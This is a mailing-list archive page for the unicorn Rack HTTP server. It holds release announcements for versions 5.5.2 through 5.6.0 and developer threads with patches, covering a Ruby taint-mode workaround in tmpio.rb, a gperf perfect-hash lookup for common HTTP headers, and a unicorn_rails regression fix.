-$(T): export RAKE := $(RAKE)
-$(T): export PATH := $(test_prefix)/bin:$(PATH)
-$(T): export RUBYLIB := $(test_prefix)/lib:$(MYLIBS)
-$(T): dep $(test_prefix)/.stamp trash/.gitignore
- $(TRACER) $(SHELL) $(SH_TEST_OPTS) $@ $(TEST_OPTS)
-
-trash/.gitignore:
- mkdir -p $(@D)
- echo '*' > $@
-
-clean:
- $(RM) -r trash/*
-
-.PHONY: $(T) clean
+.PHONY: all
^ permalink raw reply related [relevance 14%]
* [ANN] unicorn 5.6.0 - Rack HTTP server for fast clients and *nix
@ 2020-07-26 1:55 2% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2020-07-26 1:55 UTC (permalink / raw)
To: ruby-talk, unicorn-public; +Cc: Jean Boussier
unicorn is an HTTP server for Rack applications designed to only serve
fast clients on low-latency, high-bandwidth connections and take
advantage of features in Unix/Unix-like kernels. Slow clients should
only be served by placing a reverse proxy capable of fully buffering
both the the request and response in between unicorn and slow clients.
Disclaimer:
Due to its ability to tolerate crashes and isolate clients, unicorn
is unfortunately known to prolong the existence of bugs in applications
and libraries which run on top of it.
Consider this just an announcement to inform existing users of a
new version, not something to convince you to switch to something
that set the entire Ruby world back decades in terms of concurrency.
.onion URLs below are available for Tor users and can reduce
our operating costs:
* https://yhbt.net/unicorn/
http://unicorn.ou63pmih66umazou.onion/
* public list: unicorn-public@yhbt.net
* mail archives: https://yhbt.net/unicorn-public/
http://ou63pmih66umazou.onion/unicorn-public/
* git clone https://yhbt.net/unicorn.git
torsocks git clone http://ou63pmih66umazou.onion/unicorn.git
* https://yhbt.net/unicorn/NEWS.atom.xml
http://unicorn.ou63pmih66umazou.onion/NEWS.atom.xml
* nntp://news.public-inbox.org/inbox.comp.lang.ruby.unicorn
nntp://ou63pmih66umazou.onion/inbox.comp.lang.ruby.unicorn
imaps://news.public-inbox.org/inbox.comp.lang.ruby.unicorn.0
imap://ou63pmih66umazou.onion/inbox.comp.lang.ruby.unicorn.0
Changes:
unicorn 5.6.0 - early_hints support
This release adds support for the early_hints configurator
directive for the 'rack.early_hints' API used by Rails 5.2+.
Thanks to Jean Boussier for the patch.
Link: https://yhbt.net/unicorn-public/242F0859-0F83-4F14-A0FF-5BE392BB01E6@shopify.com/
^ permalink raw reply [relevance 2%]
* [ANN] unicorn 5.5.5 - Rack HTTP server for fast clients and *nix
@ 2020-04-27 2:53 2% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2020-04-27 2:53 UTC (permalink / raw)
To: ruby-talk, unicorn-public
unicorn is an HTTP server for Rack applications designed to only serve
fast clients on low-latency, high-bandwidth connections and take
advantage of features in Unix/Unix-like kernels. Slow clients should
only be served by placing a reverse proxy capable of fully buffering
both the the request and response in between unicorn and slow clients.
Disclaimer:
Due to its ability to tolerate crashes and isolate clients, unicorn
is unfortunately known to prolong the existence of bugs in applications
and libraries which run on top of it.
Consider this just an announcement to inform existing users of a
new version, not something to convince you to switch to something
that set the entire Ruby world back decades in terms of concurrency.
.onion URLs below are available for Tor users and can reduce
our operating costs:
* https://yhbt.net/unicorn/
http://unicorn.ou63pmih66umazou.onion/
* public list: unicorn-public@yhbt.net
* mail archives: https://yhbt.net/unicorn-public/
http://ou63pmih66umazou.onion/unicorn-public/
* git clone https://yhbt.net/unicorn.git
torsocks git clone http://ou63pmih66umazou.onion/unicorn.git
* https://yhbt.net/unicorn/NEWS.atom.xml
http://unicorn.ou63pmih66umazou.onion/NEWS.atom.xml
* nntp://news.public-inbox.org/inbox.comp.lang.ruby.unicorn
nntp://ou63pmih66umazou.onion/inbox.comp.lang.ruby.unicorn
Changes:
This release fixes a bug for users of multiple listeners setups
where a busy listen socket could starve other listeners.
Thanks to Stan Hu for reporting and testing.
No need to upgrade if you're using a single listen socket.
Link: https://yhbt.net/unicorn-public/CAMBWrQ=Yh42MPtzJCEO7XryVknDNetRMuA87irWfqVuLdJmiBQ@mail.gmail.com/
^ permalink raw reply [relevance 2%]
* [ANN] unicorn 5.5.4 - Rack HTTP server for fast clients and *nix
@ 2020-03-24 22:17 3% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2020-03-24 22:17 UTC (permalink / raw)
To: ruby-talk, unicorn-public
unicorn is an HTTP server for Rack applications designed to only serve
fast clients on low-latency, high-bandwidth connections and take
advantage of features in Unix/Unix-like kernels. Slow clients should
only be served by placing a reverse proxy capable of fully buffering
both the the request and response in between unicorn and slow clients.
Disclaimer:
Due to its ability to tolerate crashes and isolate clients, unicorn
is unfortunately known to prolong the existence of bugs in applications
and libraries which run on top of it.
Consider this just an announcement to inform existing users of a
new version, not something to convince you to switch to something
that set the entire Ruby world back decades in terms of concurrency.
.onion URLs below are available for Tor users and can reduce
our operating costs:
* https://yhbt.net/unicorn/
http://unicorn.ou63pmih66umazou.onion/
* public list: unicorn-public@yhbt.net
* mail archives: https://yhbt.net/unicorn-public/
http://ou63pmih66umazou.onion/unicorn-public/
* git clone https://yhbt.net/unicorn.git
torsocks git clone http://ou63pmih66umazou.onion/unicorn.git
* https://yhbt.net/unicorn/NEWS.atom.xml
http://unicorn.ou63pmih66umazou.onion/NEWS.atom.xml
* nntp://news.public-inbox.org/inbox.comp.lang.ruby.unicorn
nntp://ou63pmih66umazou.onion/inbox.comp.lang.ruby.unicorn
Changes:
One change to improve RFC 7230 conformance in the HTTP parser:
https://yhbt.net/unicorn-public/20200319022823.32472-1-bofh@yhbt.net/
^ permalink raw reply [relevance 3%]
* [ANN] unicorn 5.5.3 - Rack HTTP server for fast clients and *nix
@ 2020-01-31 20:48 2% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2020-01-31 20:48 UTC (permalink / raw)
To: ruby-talk, unicorn-public
unicorn is an HTTP server for Rack applications designed to only serve
fast clients on low-latency, high-bandwidth connections and take
advantage of features in Unix/Unix-like kernels. Slow clients should
only be served by placing a reverse proxy capable of fully buffering
both the the request and response in between unicorn and slow clients.
Disclaimer:
Due to its ability to tolerate crashes and isolate clients, unicorn
is unfortunately known to prolong the existence of bugs in applications
and libraries which run on top of it.
Consider this just an announcement to inform existing users of a
new version, not something to convince you to switch to something
that set the entire Ruby back decades in terms of concurrency.
.onion URLs below are available for Tor users and can reduce
our operating costs:
* https://yhbt.net/unicorn/
http://unicorn.ou63pmih66umazou.onion/
* public list: unicorn-public@yhbt.net
* mail archives: https://yhbt.net/unicorn-public/
http://ou63pmih66umazou.onion/unicorn-public/
* git clone https://yhbt.net/unicorn.git
torsocks git clone http://ou63pmih66umazou.onion/unicorn.git
* https://yhbt.net/unicorn/NEWS.atom.xml
http://unicorn.ou63pmih66umazou.onion/NEWS.atom.xml
* nntp://news.public-inbox.org/inbox.comp.lang.ruby.unicorn
nntp://ou63pmih66umazou.onion/inbox.comp.lang.ruby.unicorn
Changes:
unicorn 5.5.3
Documentation updates to switch bogomips.org to yhbt.net since
the .org TLD won't be affordable in the near future.
There's also a few minor test cleanups.
80x24.org and public-inbox.org will be dead on expiry, too;
but I don't think I'll be around to care by then.
^ permalink raw reply [relevance 2%]
* [ANN] unicorn 5.5.2 - Rack HTTP server for fast clients and *nix
@ 2019-12-20 2:15 2% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2019-12-20 2:15 UTC (permalink / raw)
To: ruby-talk, unicorn-public; +Cc: Terry Scheingeld
unicorn is an HTTP server for Rack applications designed to only serve
fast clients on low-latency, high-bandwidth connections and take
advantage of features in Unix/Unix-like kernels. Slow clients should
only be served by placing a reverse proxy capable of fully buffering
both the the request and response in between unicorn and slow clients.
Disclaimer:
Due to its ability to tolerate crashes and isolate clients, unicorn
is unfortunately known to prolong the existence of bugs in applications
and libraries which run on top of it.
Consider this just an announcement to inform existing users of a
new version, not something to convince you to switch to something
that set the entire Ruby back decades in terms of concurrency.
* https://bogomips.org/unicorn/
* public list: unicorn-public@bogomips.org
* mail archives: https://bogomips.org/unicorn-public/
* git clone https://bogomips.org/unicorn.git
* https://bogomips.org/unicorn/NEWS.atom.xml
* nntp://news.public-inbox.org/inbox.comp.lang.ruby.unicorn
Changes:
Thanks to Terry Scheingeld, we now workaround a Ruby bug
and can now run with taint checks enabled:
<https://bugs.ruby-lang.org/issues/14485>
<https://bogomips.org/unicorn-public/CABg1sXrvGv9G6CDQxePDUqTe6N-5UpLXm7eG3YQO=dda-Cgg7A@mail.gmail.com/>
There's also a few documentation updates and building packages
from source is easier since pandoc is no longer a dependency
(and I can no longer afford the bandwidth or space to install
it).
Eric Wong (7):
test/benchmark/ddstream: demo for slowly reading clients
test/benchmark/readinput: demo for slowly uploading clients
test/benchmark/uconnect: test for accept loop speed
examples/unicorn@.service: note the NonBlocking flag
Merge remote-tracking branch 'origin/ts/tmpio'
test_util: get rid of some unused variables in tests
doc: replace pandoc-"Markdown" with real manpages
Terry Scheingeld (1):
tmpio: workaround File#path being tainted on unlink
havpbea: orngvat n qrnq ubefr hagvy gur fgvpx trgf fghpx va vg'f fxhyy
^ permalink raw reply [relevance 2%]
* Re: tmpio.rb and taint mode
2019-12-11 16:24 2% tmpio.rb and taint mode Terry Scheingeld
@ 2019-12-11 23:16 0% ` Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2019-12-11 23:16 UTC (permalink / raw)
To: Terry Scheingeld; +Cc: unicorn-public
Terry Scheingeld <tscheingeld32@gmail.com> wrote:
> tmpio.rb causes an "insecure operation" error when being run in taint
> mode. This is due not to a problem in tmpio.rb but in Ruby's File
> class. Here are the details on the problem and a simple workaround for
> it.
>
> I filed this bug report in February 2018:
> https://bugs.ruby-lang.org/issues/14485. The problem is that when a
> File object is created using an untainted string for the path, File
> nevertheless changes that path to tainted. It is agreed thatit's a
> bug: File should not taint an untainted path. However, efforts to fix
> the bug seem to have stalled out.
>
> Now, in tmpio.rb, a random, untainted path is generated and stored in
> the Unicorn::TmpIO object. Then, a few lines later, the class attempts
> to unlink that file using the path stored in the object. Because of
> the bug in File, the path is now tainted, resulting in an insecure
> operation error.
>
> I propose a simple workaround. Store the path in its own variable.
> Pass the variable to the Unicorn::TmpIO object, but use the original
> variable to unlink the file. This technique worked in experimentation
> for me. Here's a modified version of tmpio.rb.
Thanks for the analysis, explanation and fix. I've made your
change into the patch + commit message below.
I had no idea unicorn or rack could work at all with tainting
enabled... Was there anything else that was broken with
taint checks?
But AFAIK tainting is due to be removed in Ruby, soonish (I've
never used it in either Ruby or Perl5).
Anyways, I'll merge this into master soonish and hopefully get
some doc updates + release in a week or so... Thanks again.
---------------8<-----------------
From: Terry Scheingeld <tscheingeld32@gmail.com>
Date: Wed, 11 Dec 2019 11:24:59 -0500
Subject: [PATCH] tmpio: workaround File#path being tainted on unlink
Ruby mistakenly taints the file path, causing File.unlink
to fail: https://bugs.ruby-lang.org/issues/14485
Workaround the Ruby bug by keeping the path as a local
variable and passing that to File.unlink, instead of the
return value of File#path.
Link: https://bogomips.org/unicorn-public/CABg1sXrvGv9G6CDQxePDUqTe6N-5UpLXm7eG3YQO=dda-Cgg7A@mail.gmail.com/
---
lib/unicorn/tmpio.rb | 10 ++++++++--
1 file changed, 8 insertions(+), 2 deletions(-)
diff --git a/lib/unicorn/tmpio.rb b/lib/unicorn/tmpio.rb
index db88ed33..0bbf6ec5 100644
--- a/lib/unicorn/tmpio.rb
+++ b/lib/unicorn/tmpio.rb
@@ -11,12 +11,18 @@ class Unicorn::TmpIO < File
# immediately, switched to binary mode, and userspace output
# buffering is disabled
def self.new
+ path = nil
+
+ # workaround File#path being tainted:
+ # https://bugs.ruby-lang.org/issues/14485
fp = begin
- super("#{Dir::tmpdir}/#{rand}", RDWR|CREAT|EXCL, 0600)
+ path = "#{Dir::tmpdir}/#{rand}"
+ super(path, RDWR|CREAT|EXCL, 0600)
rescue Errno::EEXIST
retry
end
- unlink(fp.path)
+
+ unlink(path)
fp.binmode
fp.sync = true
fp
^ permalink raw reply related [relevance 0%]
* tmpio.rb and taint mode
@ 2019-12-11 16:24 2% Terry Scheingeld
2019-12-11 23:16 0% ` Eric Wong
0 siblings, 1 reply; 200+ results
From: Terry Scheingeld @ 2019-12-11 16:24 UTC (permalink / raw)
To: unicorn-public
tmpio.rb causes an "insecure operation" error when being run in taint
mode. This is due not to a problem in tmpio.rb but in Ruby's File
class. Here are the details on the problem and a simple workaround for
it.
I filed this bug report in February 2018:
https://bugs.ruby-lang.org/issues/14485. The problem is that when a
File object is created using an untainted string for the path, File
nevertheless changes that path to tainted. It is agreed thatit's a
bug: File should not taint an untainted path. However, efforts to fix
the bug seem to have stalled out.
Now, in tmpio.rb, a random, untainted path is generated and stored in
the Unicorn::TmpIO object. Then, a few lines later, the class attempts
to unlink that file using the path stored in the object. Because of
the bug in File, the path is now tainted, resulting in an insecure
operation error.
I propose a simple workaround. Store the path in its own variable.
Pass the variable to the Unicorn::TmpIO object, but use the original
variable to unlink the file. This technique worked in experimentation
for me. Here's a modified version of tmpio.rb.
# -*- encoding: binary -*-
# :stopdoc:
require 'tmpdir'
# some versions of Ruby had a broken Tempfile which didn't work
# well with unlinked files. This one is much shorter, easier
# to understand, and slightly faster.
class Unicorn::TmpIO < File
# creates and returns a new File object. The File is unlinked
# immediately, switched to binary mode, and userspace output
# buffering is disabled
def self.new
path = nil
fp = begin
path = "#{Dir::tmpdir}/#{rand}"
super(path, RDWR|CREAT|EXCL, 0600)
rescue Errno::EEXIST
retry
end
unlink(path)
fp.binmode
fp.sync = true
fp
end
# pretend we're Tempfile for Rack::TempfileReaper
alias close! close
end
^ permalink raw reply [relevance 2%]
* [PATCH 2/3] http: use gperf for common fields optimization
@ 2019-07-04 22:01 7% ` Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2019-07-04 22:01 UTC (permalink / raw)
To: unicorn-public
GNU gperf is a commonly-used tool for generating perfect hashes
and available on every platform unicorn runs on. C Ruby, gcc,
glibc all already use it.
Using a hash lookup instead of a linear scan already shows
measurable improvements when memoized header keys are all
used:
* test/benchmark/http_parser.rb (no options):
100000 iterations
user system total real
- 0.411857 0.000200 0.412057 ( 0.412070)
+ 0.397960 0.000181 0.398141 ( 0.398149)
Results which require generating a new string from an unmemoized
header is less significant, but still consistent measurable:
* test/benchmark/http_parser.rb -H 'DNT: 1'
100000 iterations
user system total real
- 0.461416 0.000000 0.461416 ( 0.461417)
+ 0.461329 0.000000 0.461329 ( 0.461363)
Most importantly, this change allows us to memoize more keys
without worrying too much about the overhead of a O(n) scan.
---
.gitignore | 1 +
GNUmakefile | 18 ++++-
ext/unicorn_http/common_field_optimization.h | 79 +++++---------------
ext/unicorn_http/common_fields.gperf | 56 ++++++++++++++
ext/unicorn_http/gperf.rb | 27 +++++++
5 files changed, 117 insertions(+), 64 deletions(-)
create mode 100644 ext/unicorn_http/common_fields.gperf
create mode 100644 ext/unicorn_http/gperf.rb
diff --git a/.gitignore b/.gitignore
index ad92808..05e5e45 100644
--- a/.gitignore
+++ b/.gitignore
@@ -12,6 +12,7 @@
/test/ruby-*
ext/unicorn_http/Makefile
ext/unicorn_http/unicorn_http.c
+ext/unicorn_http/common_fields.h
log/
pkg/
/vendor
diff --git a/GNUmakefile b/GNUmakefile
index a7e4102..3dbad2c 100644
--- a/GNUmakefile
+++ b/GNUmakefile
@@ -10,6 +10,7 @@ RAGEL = ragel
RSYNC = rsync
OLDDOC = olddoc
RDOC = rdoc
+GPERF = gperf
GIT-VERSION-FILE: .FORCE-GIT-VERSION-FILE
@./GIT-VERSION-GEN
@@ -40,7 +41,9 @@ T_n_log := $(subst .n,$(log_suffix),$(T_n))
test_prefix = $(CURDIR)/test/$(RUBY_ENGINE)-$(RUBY_VERSION)
ext := ext/unicorn_http
-c_files := $(ext)/unicorn_http.c $(ext)/httpdate.c $(wildcard $(ext)/*.h)
+c_files := $(addprefix $(ext)/, unicorn_http.c common_fields.h \
+ httpdate.c common_field_optimization.h ext_help.h \
+ global_variables.h)
rl_files := $(wildcard $(ext)/*.rl)
base_bins := unicorn unicorn_rails
bins := $(addprefix bin/, $(base_bins))
@@ -48,7 +51,14 @@ man1_rdoc := $(addsuffix _1, $(base_bins))
man1_bins := $(addsuffix .1, $(base_bins))
man1_paths := $(addprefix man/man1/, $(man1_bins))
rb_files := $(bins) $(shell find lib ext -type f -name '*.rb')
-inst_deps := $(c_files) $(rb_files) GNUmakefile test/test_helper.rb
+inst_deps := $(c_files) $(rb_files) GNUmakefile test/test_helper.rb \
+ $(ext)/common_fields.gperf
+
+gperf :: $(ext)/common_fields.h
+$(ext)/common_fields.h : $(ext)/common_fields.gperf $(ext)/gperf.rb
+ $(GPERF) $< >$@-
+ $(MRI) --disable-gems $(ext)/gperf.rb <$@- >$@+
+ test -s $@+ && mv $@+ $@ && $(RM) $@-
ragel: $(ext)/unicorn_http.c
$(ext)/unicorn_http.c: $(rl_files)
@@ -159,12 +169,12 @@ man html:
$(MAKE) -C Documentation install-$@
pkg_extra := GIT-VERSION-FILE lib/unicorn/version.rb LATEST NEWS \
- $(ext)/unicorn_http.c $(man1_paths)
+ $(ext)/unicorn_http.c $(ext)/common_fields.h $(man1_paths)
NEWS:
$(OLDDOC) prepare
-.manifest: $(ext)/unicorn_http.c man NEWS
+.manifest: $(ext)/unicorn_http.c $(ext)/common_fields.h man NEWS
(git ls-files && for i in $@ $(pkg_extra); do echo $$i; done) | \
LC_ALL=C sort > $@+
cmp $@+ $@ || mv $@+ $@
diff --git a/ext/unicorn_http/common_field_optimization.h b/ext/unicorn_http/common_field_optimization.h
index 0659fc7..f69b618 100644
--- a/ext/unicorn_http/common_field_optimization.h
+++ b/ext/unicorn_http/common_field_optimization.h
@@ -3,58 +3,12 @@
#include "ruby.h"
#include "c_util.h"
-struct common_field {
- const signed long len;
- const char *name;
- VALUE value;
-};
-
/*
* A list of common HTTP headers we expect to receive.
* This allows us to avoid repeatedly creating identical string
* objects to be used with rb_hash_aset().
*/
-static struct common_field common_http_fields[] = {
-# define f(N) { (sizeof(N) - 1), N, Qnil }
- f("ACCEPT"),
- f("ACCEPT_CHARSET"),
- f("ACCEPT_ENCODING"),
- f("ACCEPT_LANGUAGE"),
- f("ALLOW"),
- f("AUTHORIZATION"),
- f("CACHE_CONTROL"),
- f("CONNECTION"),
- f("CONTENT_ENCODING"),
- f("CONTENT_LENGTH"),
- f("CONTENT_TYPE"),
- f("COOKIE"),
- f("DATE"),
- f("EXPECT"),
- f("FROM"),
- f("HOST"),
- f("IF_MATCH"),
- f("IF_MODIFIED_SINCE"),
- f("IF_NONE_MATCH"),
- f("IF_RANGE"),
- f("IF_UNMODIFIED_SINCE"),
- f("KEEP_ALIVE"), /* Firefox sends this */
- f("MAX_FORWARDS"),
- f("PRAGMA"),
- f("PROXY_AUTHORIZATION"),
- f("RANGE"),
- f("REFERER"),
- f("TE"),
- f("TRAILER"),
- f("TRANSFER_ENCODING"),
- f("UPGRADE"),
- f("USER_AGENT"),
- f("VIA"),
- f("X_FORWARDED_FOR"), /* common for proxies */
- f("X_FORWARDED_PROTO"), /* common for proxies */
- f("X_REAL_IP"), /* common for proxies */
- f("WARNING")
-# undef f
-};
+#include "common_fields.h"
#define HTTP_PREFIX "HTTP_"
#define HTTP_PREFIX_LEN (sizeof(HTTP_PREFIX) - 1)
@@ -79,21 +33,27 @@ static VALUE str_new_dd_freeze(const char *ptr, long len)
/* this function is not performance-critical, called only at load time */
static void init_common_fields(void)
{
- int i;
- struct common_field *cf = common_http_fields;
+ size_t i;
char tmp[64];
id_uminus = rb_intern("-@");
memcpy(tmp, HTTP_PREFIX, HTTP_PREFIX_LEN);
- for(i = ARRAY_SIZE(common_http_fields); --i >= 0; cf++) {
+ for (i = 0; i < ARRAY_SIZE(cf_wordlist); i++) {
+ long len = (long)cf_lengthtable[i];
+ struct common_field *cf = &cf_wordlist[i];
+ const char *s;
+
+ if (!len)
+ continue;
+
+ s = cf->name + cf_stringpool;
/* Rack doesn't like certain headers prefixed with "HTTP_" */
- if (!strcmp("CONTENT_LENGTH", cf->name) ||
- !strcmp("CONTENT_TYPE", cf->name)) {
- cf->value = str_new_dd_freeze(cf->name, cf->len);
+ if (!strcmp("CONTENT_LENGTH", s) || !strcmp("CONTENT_TYPE", s)) {
+ cf->value = str_new_dd_freeze(s, len);
} else {
- memcpy(tmp + HTTP_PREFIX_LEN, cf->name, cf->len + 1);
- cf->value = str_new_dd_freeze(tmp, HTTP_PREFIX_LEN + cf->len);
+ memcpy(tmp + HTTP_PREFIX_LEN, s, len + 1);
+ cf->value = str_new_dd_freeze(tmp, HTTP_PREFIX_LEN + len);
}
rb_gc_register_mark_object(cf->value);
}
@@ -102,12 +62,11 @@ static void init_common_fields(void)
/* this function is called for every header set */
static VALUE find_common_field(const char *field, size_t flen)
{
- int i;
- struct common_field *cf = common_http_fields;
+ struct common_field *cf = cf_lookup(field, flen);
- for(i = ARRAY_SIZE(common_http_fields); --i >= 0; cf++) {
- if (cf->len == (long)flen && !memcmp(cf->name, field, flen))
- return cf->value;
+ if (cf) {
+ assert(cf->value);
+ return cf->value;
}
return Qnil;
}
diff --git a/ext/unicorn_http/common_fields.gperf b/ext/unicorn_http/common_fields.gperf
new file mode 100644
index 0000000..179afe5
--- /dev/null
+++ b/ext/unicorn_http/common_fields.gperf
@@ -0,0 +1,56 @@
+%{
+#include <ruby.h>
+%}
+%compare-lengths
+%enum
+%global-table
+%language=ANSI-C
+%pic
+%struct-type
+%define hash-function-name cf_hash
+%define length-table-name cf_lengthtable
+%define lookup-function-name cf_lookup
+%define string-pool-name cf_stringpool
+%define word-array-name cf_wordlist
+
+struct common_field { size_t name; VALUE value; };
+%%
+ACCEPT
+ACCEPT_CHARSET
+ACCEPT_ENCODING
+ACCEPT_LANGUAGE
+ALLOW
+AUTHORIZATION
+CACHE_CONTROL
+CONNECTION
+CONTENT_ENCODING
+CONTENT_LENGTH
+CONTENT_TYPE
+COOKIE
+DATE
+EXPECT
+FROM
+HOST
+IF_MATCH
+IF_MODIFIED_SINCE
+IF_NONE_MATCH
+IF_RANGE
+IF_UNMODIFIED_SINCE
+# Firefox sends Keep-Alive (or maybe only old versions?)
+KEEP_ALIVE
+MAX_FORWARDS
+PRAGMA
+PROXY_AUTHORIZATION
+RANGE
+REFERER
+TE
+TRAILER
+TRANSFER_ENCODING
+UPGRADE
+USER_AGENT
+VIA
+# common proxies set some of these X- headers
+X_FORWARDED_FOR
+X_FORWARDED_PROTO
+X_REAL_IP
+WARNING
diff --git a/ext/unicorn_http/gperf.rb b/ext/unicorn_http/gperf.rb
new file mode 100644
index 0000000..9765f86
--- /dev/null
+++ b/ext/unicorn_http/gperf.rb
@@ -0,0 +1,27 @@
+#!/usr/bin/ruby -w
+buf = STDIN.read # output of: gperf ext/unicorn_http/common_fields.gperf
+
+# this is supposed to fail if it doesn't subsitute anything:
+print buf.sub!(
+
+# make sure all functions are static
+/\nstruct \w+ \*\n(\w+_)?lookup/) {
+ "\nstatic#$&"
+}.
+
+gsub!(
+# gperf 3.0.x used "(int)(long)", 3.1 uses "(int)(size_t)",
+# input: {(int)(size_t)&((struct cf_pool_t *)0)->cf_pool_str3},
+# output: {offsetof(struct cf_pool_t, cf_pool_str3)},
+/{\(int\)\(\w+\)\&\(\((struct \w+) *\*\)0\)->(\w+)}/) {
+ "{offsetof(#$1, #$2)}"
+}.
+
+# make sure everything is 64-bit safe and compilers don't truncate
+gsub!(/\b(?:unsigned )?int\b/, 'size_t').
+
+# This isn't need for %switch%, but we'll experiment with to see
+# if it's necessary, or not.
+# don't give compilers a reason to complain, (struct foo *)->name
+# is size_t, so unused slots should be size_t:
+gsub(/\{-1\}/, '{(size_t)-1}')
--
EW
^ permalink raw reply related [relevance 7%]
* [PATCH] unicorn_rails: fix regression with Rails >= 3.x in app build
@ 2019-03-07 2:28 5% ` Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2019-03-07 2:28 UTC (permalink / raw)
To: Stan Pitucha, Jeremy Evans; +Cc: unicorn-public
Stan Pitucha <stan.pitucha@envato.com> wrote:
> That was indeed with `preload_app true`.
>
> The patch you posted fixed the second issue and now both `unicorn` and
> `unicorn_rails` start successfully.
Thanks both. Pushed out a pre-release with Jeremy's patch:
gem install --pre unicorn 5.5.0.1.g6836
commit 6836d0674efdb1a6b79953285f10d8edd7e20432
Will tag and release 5.5.1 final in a day or two assuming all
goes well.
------8<-------
From: Jeremy Evans <code@jeremyevans.net>
Subject: [PATCH] unicorn_rails: fix regression with Rails >= 3.x in app build
Note: `unicorn_rails' was only intended for Rails <= 2.x projects
in the old days.
Fixes: 5985dd50a9bd7238 ("Support default_middleware configuration option")
From: Jeremy Evans <code@jeremyevans.net>
cf. https://bogomips.org/unicorn-public/20190306055734.GC61406@jeremyevans.local/
Signed-off-by: Eric Wong <e@80x24.org>
[ew: commit message]
---
bin/unicorn_rails | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/bin/unicorn_rails b/bin/unicorn_rails
index ea4f822..354c1df 100755
--- a/bin/unicorn_rails
+++ b/bin/unicorn_rails
@@ -132,11 +132,11 @@ def rails_builder(ru, op, daemonize)
# this lambda won't run until after forking if preload_app is false
# this runs after config file reloading
- lambda do ||
+ lambda do |x, server|
# Rails 3 includes a config.ru, use it if we find it after
# working_directory is bound.
::File.exist?('config.ru') and
- return Unicorn.builder('config.ru', op).call
+ return Unicorn.builder('config.ru', op).call(x, server)
# Load Rails and (possibly) the private version of Rack it bundles.
begin
--
EW
^ permalink raw reply related [relevance 5%]
* Re: Issues after 5.5.0 upgrade
@ 2019-03-06 5:57 5% ` Jeremy Evans
0 siblings, 1 reply; 200+ results
From: Jeremy Evans @ 2019-03-06 5:57 UTC (permalink / raw)
To: Eric Wong; +Cc: Stan Pitucha, unicorn-public
On 03/06 04:44, Eric Wong wrote:
> Stan Pitucha <stan.pitucha@envato.com> wrote:
> > > I only saw one issue (proposed fix below).
> > Sorry, I solved the other one while writing the email but forgot to
> > update the intro.
> >
> > So the fix worked for the issue I mentioned, thanks! Also, running
> > unicorn directly works just fine now.
>
> You're welcome and thanks for following up!
>
> > I ran into another regression with unicorn_rails though. We're doing
> > some work in `after_fork` which relies on a class found in
> > `lib/logger_switcher.rb`. Unfortunately it looks like the scope
> > changed and now I get workers respawning in a loop:
> >
> > E, [2019-03-06T15:03:04.990789 #46680] ERROR -- : uninitialized
> > constant #<Class:#<Unicorn::Configurator:0x00007fc3d113d098>>::LoggerSwitcher
> > (NameError)
>
> Is this with `preload_app true`? I'm not too up-to-date
> with scoping and namespace behavior stuff, actually.
This is just a guess, but we probably want to call the Unicorn.builder
lambda with the same arguments as the rails_builder lambda.
diff --git a/bin/unicorn_rails b/bin/unicorn_rails
index ea4f822..354c1df 100755
--- a/bin/unicorn_rails
+++ b/bin/unicorn_rails
@@ -132,11 +132,11 @@ def rails_builder(ru, op, daemonize)
# this lambda won't run until after forking if preload_app is false
# this runs after config file reloading
- lambda do ||
+ lambda do |x, server|
# Rails 3 includes a config.ru, use it if we find it after
# working_directory is bound.
::File.exist?('config.ru') and
- return Unicorn.builder('config.ru', op).call
+ return Unicorn.builder('config.ru', op).call(x, server)
# Load Rails and (possibly) the private version of Rack it bundles.
begin
If that doesn't fix it, keep reading.
If after_fork is referencing LoggerSwitcher, and preload_app is not set,
then I think the failure should be expected, as in that case after_fork
is called before build_app!. That would not explain a regression,
though, as that behavior should have been true in 5.4.1.
Does the problem go away if you switch after_fork to after_worker_ready?
Is preload_app set to true?
Thanks,
Jeremy
^ permalink raw reply related [relevance 5%]
* Re: Issues after 5.5.0 upgrade
2019-03-06 1:47 3% Issues after 5.5.0 upgrade Stan Pitucha
@ 2019-03-06 2:48 5% ` Eric Wong
0 siblings, 1 reply; 200+ results
From: Eric Wong @ 2019-03-06 2:48 UTC (permalink / raw)
To: Stan Pitucha; +Cc: unicorn-public, Jeremy Evans
Stan Pitucha <stan.pitucha@envato.com> wrote:
> Hi, I'm running into two issues after an upgrade from 5.4.1 (a few
I only saw one issue (proposed fix below).
Did you forget to write about the other?
> previous versions worked just fine as well). I've got a rails 5.2 app
> started via:
>
> bin/unicorn_rails -E development -c config/unicorn.rb
> With the minimal config.ru in place (require environment, run app), I get:
>
> I, [2019-03-06T12:28:44.393406 #43714] INFO -- : Refreshing Gem list
> ArgumentError: wrong number of arguments (given 0, expected 2)
It looks like the breakage was introduced in
commit 5985dd50a9bd72388dd5ca4886d6dffc083f87d4
("Support default_middleware configuration option")
Does this trivial change to unicorn_rails fix it for you?
diff --git a/bin/unicorn_rails b/bin/unicorn_rails
index ea4f822..558dd0b 100755
--- a/bin/unicorn_rails
+++ b/bin/unicorn_rails
@@ -136,7 +136,7 @@ def rails_builder(ru, op, daemonize)
# Rails 3 includes a config.ru, use it if we find it after
# working_directory is bound.
::File.exist?('config.ru') and
- return Unicorn.builder('config.ru', op).call
+ return Unicorn.builder('config.ru', op)
# Load Rails and (possibly) the private version of Rack it bundles.
begin
If it's local, you can just edit
/Users/viraptor/.rbenv/versions/2.5.3/lib/ruby/gems/2.5.0/gems/unicorn-5.5.0/bin/unicorn_rails
No need to bother with building a gem.
Fwiw, "unicorn_rails" was only intended for Rails 1.x and 2.x.
Rails >= 3.x can use "unicorn" directly. But "unicorn_rails"
still needs to be fixed on our end because I can't tolerate
breaking changes to existing deployment scripts.
^ permalink raw reply related [relevance 5%]
* Issues after 5.5.0 upgrade
@ 2019-03-06 1:47 3% Stan Pitucha
2019-03-06 2:48 5% ` Eric Wong
0 siblings, 1 reply; 200+ results
From: Stan Pitucha @ 2019-03-06 1:47 UTC (permalink / raw)
To: unicorn-public
Hi, I'm running into two issues after an upgrade from 5.4.1 (a few
